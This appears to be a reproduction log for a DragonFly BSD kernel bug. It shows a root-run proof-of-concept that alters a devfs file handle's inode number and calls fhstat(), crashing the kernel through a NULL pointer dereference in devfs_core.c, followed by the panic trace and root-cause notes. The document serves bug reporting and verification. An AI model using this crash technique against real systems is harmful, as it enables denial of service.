=== DF-0773 baseline reproduction (unpatched #0 kernel) ===
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
Run:   ./dfbsd-qemu/vm.sh run_root 'cd /root/poc0773 && timeout 20 ./trigger'
       (run as root; sys_fhstat is SYSCAP_RESTRICTEDROOT)
Date:  2026-07-09

STDOUT (run never returned -- syscall path panicked before returning to userspace):

[+] getfh("/dev/null") OK
[+] raw fhandle (28 bytes):
  0000: ff ff 74 42 08 00 00 00 10 00 00 00 f5 08 50 6a
  0010: af 00 00 00 00 00 00 00 00 00 00 00
[+] /dev/null is on f_type=devfs f_fsid=[0x4274ffff,0x8]
[+] original devfs_fid: len=16 pad=0 gen=1783630069 ino=175
[+] mutated  devfs_fid: len=16 pad=0 gen=1783630069 ino=16045690984503098046
[*] calling fhstat() with bogus devfs fid_ino -> expect panic...

(run_root timed out at 120s; ssh torn down because guest panicked)

=== vm.sh status after run: DOWN ===

=== Panic signature from dfbsd-qemu/boot.log ===

login: Fatal user address access from kernel mode from trigger at ffffffff80647bad


Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address	= 0x0
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff80647bad
stack pointer	        = 0x10:0xfffff801182df6f8
frame pointer	        = 0x10:0xfffff801182df758
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 951
current thread          = pri 10 
kernel: type 12 trap, code=0

CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      lockmgr_exclusive+0x5d: orl     (%r14),%esi
db> 

=== Analysis ===

fault VA = 0x0  (NULL deref)
Stopped at lockmgr_exclusive+0x5d, called from vn_lock(NULL,...) at
devfs_core.c:972, which dereferences vp->v_lock at offset ~0 from vp=0x0.

This is the exact bug described in the finding:
  sys/vfs/devfs/devfs_core.c:972  vn_lock(vp, LK_EXCLUSIVE | LK_RETRY);
where vp comes from msg->mdv_ino.vp at line 971, which is NULL because
devfs_iterate_topology returned NULL (no node matched the bogus fid_ino).